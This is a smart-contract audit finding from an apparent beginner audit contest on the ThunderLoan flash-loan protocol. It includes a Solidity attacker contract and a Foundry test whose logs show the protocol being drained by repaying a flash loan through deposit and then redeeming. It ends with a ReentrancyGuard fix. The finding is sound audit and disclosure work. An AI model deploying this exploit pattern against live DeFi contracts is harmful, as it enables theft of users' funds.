Beginner FriendlyFoundryDeFiOracle
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy from `flashloan` to `deposit` instead of `repay`

Summary

An attacker could exploit the flashloan function by "repaying" the borrowed amount using the deposit function instead of repay function.

Vulnerability Details

The flashloan can be repaid by calling deposit instead of repay which mints assetTokens to the contract receiving the flashloan. Subsequently, the contract calls redeem effectively stealing all the tokens in the protocol.

Create the following contract (BadIntentions.sol) in the mocks folder:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { IFlashLoanReceiver, IThunderLoan } from "../../src/interfaces/IFlashLoanReceiver.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { Test, console } from "forge-std/Test.sol";
import { IThunderLoan } from "../../src/interfaces/IThunderLoan.sol";
import { BaseTest } from "../unit/BaseTest.t.sol";
contract BadIntentions {
using SafeERC20 for IERC20;
address s_owner;
address s_thunderLoan;
error BadIntentions__onlyOwner();
error BadIntentions__onlyThunderLoan();
constructor(address thunderLoan) {
s_owner = msg.sender;
s_thunderLoan = thunderLoan;
}
function depositThunder(IERC20 token, uint256 amount) public {
IERC20(token).approve(s_thunderLoan, amount);
IThunderLoan(s_thunderLoan).deposit(token, amount);
}
function redeemThunder(IERC20 token, uint256 amountOfAsset) public {
IThunderLoan(s_thunderLoan).redeem(token, amountOfAsset);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata /* params */
)
external
returns (bool)
{
if (msg.sender != s_thunderLoan) {
revert BadIntentions__onlyThunderLoan();
}
depositThunder(IERC20(token), amount + fee);
return true;
}
function withdrawAll() public {
//Owner check + withdraw everything into an EoA
}
}

import it at the top of ThunderLoanTest and deploy it in the setUp function :

import { BadIntentions } from "../mocks/BadIntentions.sol";
badIntentions = new BadIntentions(address(thunderLoan));

Copy the following test:

function testBadIntentionsFlashLoan() public setAllowedToken hasDeposits {
uint256 attackAmount = 20e18;
AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
tokenA.mint(address(badIntentions), attackAmount + 1e18);
uint256 protocolStartingBalance = tokenA.balanceOf(address(asset));
uint256 attackerStartingBalance = tokenA.balanceOf(address(badIntentions));
BadIntentions(badIntentions).depositThunder(tokenA, attackAmount);
console.log("Protocol starting with %s", protocolStartingBalance);
console.log("Attacker startting with %s", attackerStartingBalance);
thunderLoan.flashloan(address(badIntentions), tokenA, attackAmount, "");
uint256 protocolAfterFlashLoanBalance = tokenA.balanceOf(address(asset));
uint256 attackerAfterFlashLoanBalance = tokenA.balanceOf(address(badIntentions));
console.log("Protocol After Flash Loan with %s", protocolAfterFlashLoanBalance);
console.log("Attacker After Flash Loan with %s", attackerAfterFlashLoanBalance);
uint256 exchangeRate = asset.getExchangeRate();
uint256 amountOfAssetTokenToWithdraw = protocolAfterFlashLoanBalance * EXCHANGE_RATE_PRECISION / exchangeRate; //extracted from amountUnderlying = (amountOfAssetToken * exchangeRate) / assetToken.EXCHANGE_RATE_PRECISION();
BadIntentions(badIntentions).redeemThunder(tokenA, amountOfAssetTokenToWithdraw);
uint256 protocolEndingBalance = tokenA.balanceOf(address(asset));
uint256 attackerEndingBalance = tokenA.balanceOf(address(badIntentions));
console.log("Protocol Ending balance %s", protocolEndingBalance);
console.log("Attacker Ending balance %s", attackerEndingBalance);
}
Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[PASS] testBadIntentionsFlashLoan() (gas: 3275414)
Logs:
Protocol starting with 20000000000000000000
Attacker startting with 21000000000000000000
Protocol After Flash Loan with 40060000000000000000
Attacker After Flash Loan with 940000000000000000
Protocol Ending balance 0
Attacker Ending balance 41000000000000000000
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.26ms

The result speaks for itself, the protocol has been completely drained.

Impact

An attacker can steal all the protocol's funds.

Tools Used

Manual review.

Recommendations

Implement ReentrancyGuard applying the nonReentrant modifier to all the function with the exception of repay.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

flash loan funds stolen by a deposit

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.